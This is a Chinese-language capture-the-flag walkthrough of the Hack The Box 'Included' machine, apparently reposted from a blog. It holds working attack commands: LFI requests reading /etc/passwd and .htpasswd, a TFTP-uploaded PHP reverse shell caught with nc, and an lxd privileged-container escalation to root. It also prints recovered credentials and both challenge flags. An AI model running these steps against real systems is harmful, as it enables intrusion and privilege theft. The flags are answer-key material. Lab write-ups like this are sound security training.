自学内容网 自学内容网

HTB:Included[WriteUP]

目录

连接至HTB服务器并启动靶机

1.What service is running on the target machine over UDP?

2.What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?

3.What is the default system folder that TFTP uses to store files?

4.Which interesting file is located in the web server folder and can be used for Lateral Movement?

5.What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

6.When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?

7.What flag do we set to the container so that it has root privileges on the host system?

USER_FLAG:a56ef91d70cfbf2cdb8f454c006935a1

8.If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?

ROOT_FLAG:c693d9c7499d9f572ee375d4c14c7bcf


连接至HTB服务器并启动靶机

靶机IP:10.129.95.185

分配IP:10.10.16.12


1.What service is running on the target machine over UDP?

首先使用nmap对靶机进行端口扫描:

nmap -sC -sV {TARGET_IP}

可以看到靶机只开启了一个80端口,并且运行的是Apache服务,使用浏览器直接访问靶机:

可以看到对靶机80端口访问后,自动跳转到了:/?file=home.php,我们尝试对该页面进行测试,以此来确认它是否存在文件包含漏洞

直接尝试访问/etc/passwd文件,成功输出证明漏洞存在:

使用curl对/etc/passwd文件下载到本地并保存为temp.txt查看:

curl 'http://{TARGET_IP}/?file=/etc/passwd' -o temp.txt

在文件最后,能看到一个tftp用户,而tftp服务使用UDP协议进行通信

使用nmaptftp服务默认端口69进行扫描,确认靶机开启了tftp服务:

nmap -sU -p 69 -Pn {TARGET_IP}


2.What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?

结合上文,我们通过网页URL跳转测试文件包含漏洞修改file参数的值达到读取任意文件的目的:

托管在80端口上的网页容易受到文件包含漏洞攻击(LFI):Local File Inclusion

Local File Inclusion(本地文件包含漏洞)是一种常见的 Web 应用程序安全漏洞。当 Web 应用程序在接收用户输入来包含文件时,如果没有对用户输入进行充分的验证和过滤,攻击者就有可能通过精心构造的输入,让应用程序包含服务器本地的文件。这可能导致敏感信息泄露,例如包含配置文件、数据库连接信息等,或者被攻击者利用来执行恶意代码。例如,攻击者可以尝试包含系统文件,以获取服务器的关键信息或提升权限。这种漏洞通常是由于开发人员在编写代码时没有充分考虑到安全因素,或者对用户输入的信任度过高而导致的。防范 Local File Inclusion 漏洞需要对用户输入进行严格的验证和过滤,限制文件包含的范围,并采用安全的编程实践。


3.What is the default system folder that TFTP uses to store files?

使用cat再次查看我们从网页下载的/etc/passwd文件信息:

cat temp.txt

可以看到tftp用户登录系统后所在的默认目录为:/var/lib/tftpboot/


4.Which interesting file is located in the web server folder and can be used for Lateral Movement?

通过Wappalyzer插件,我们可以看到该网页的技术栈发现使用的是Apache服务器:

Apache通常会有一个名为.htpasswd的文件,用于存放用户身份验证信息,这个文件的路径在:

/var/www/html/.htpasswd

/etc/apache2/.htpasswd

使用curl尝试对其访问: 

curl 'http://{TARGET_IP}/?file=/etc/apache2/.htpasswd'
curl 'http://{TARGET_IP}/?file=/var/www/html/.htpasswd'

用户:mike

密码:Sheffield19


5.What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

利用tftp无需认证的特性,我们可以在没有任何权限的情况下上传Webshell

还是通过Wappalyzer插件,我们通过查看该网页的技术栈发现其使用的是PHP脚本语言

使用Kali自带的Webshell:php-reverse-shell.php,对其中的IP、PORT参数进行修改:

使用tftp服务连接到靶机:

tftp {TARGET_IP}

上传Webshell至靶机/var/lib/tftpboot目录中:

put php-reverse-shell.php

使用nc启动监听:

nc -lvnp 1425

使用curl对Webshell访问,启动反弹shell:

curl 'http://{TARGET_IP}/?file=/var/lib/tftpboot/php-reverse-shell.php'

当前shell交互不完整,使用script命令获得交互shell:

script /dev/null -c bash

登录mike账户,输入上文获得的密码:

su mike

 使用id命令,查看mike所属用户组:lxd


6.When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?

首先查询一下用户组LXD的相关信息,再将问题扔给AI:Alpine


7.What flag do we set to the container so that it has root privileges on the host system?

拿到mike用户权限后,我们使用find命令查找一下user.txt,再使用cat命令查看文件内容:

cat `find / -name 'user.txt' 2>/dev/null`

USER_FLAG:a56ef91d70cfbf2cdb8f454c006935a1

接下来我们构建Alpine映像并使用标志:security.Privileged=true ,强制以root用户身份与主机文件系统交互:

可供参考文章:book.hacktricks.xy

在本机依次执行以下命令:
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

使用python模块http.server在本地开启一个HTTP服务器:

python -m http.server 6666

靶机上,首先进入mike目录下:

cd /home/mike

使用wget命令将本地alpine-v3.13-x86_64-20210218_0139.tar.gz文件拷入mike目录中:

wget {NATIVE_IP}:6666/alpine-v3.13-x86_64-20210218_0139.tar.gz

等待文件上传完成后,在靶机上依次执行以下命令:

lxc image import ./alpine*.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

输入whoami,回显为root,提权成功:


8.If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?

使用find命令查找root.txt:

find / -name 'root.txt' 2>/dev/null

输出:

/ # ^[[21;5Rfind / -name 'root.txt' 2>/dev/null

find / -name 'root.txt' 2>/dev/null

/mnt/root/root/root.txt

显然root_flag在/mnt/root/目录下

查看root.txt文件内容:

cat `find / -name 'root.txt' 2>/dev/null`

ROOT_FLAG:c693d9c7499d9f572ee375d4c14c7bcf


原文地址:https://blog.csdn.net/qq_43007452/article/details/142703094

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!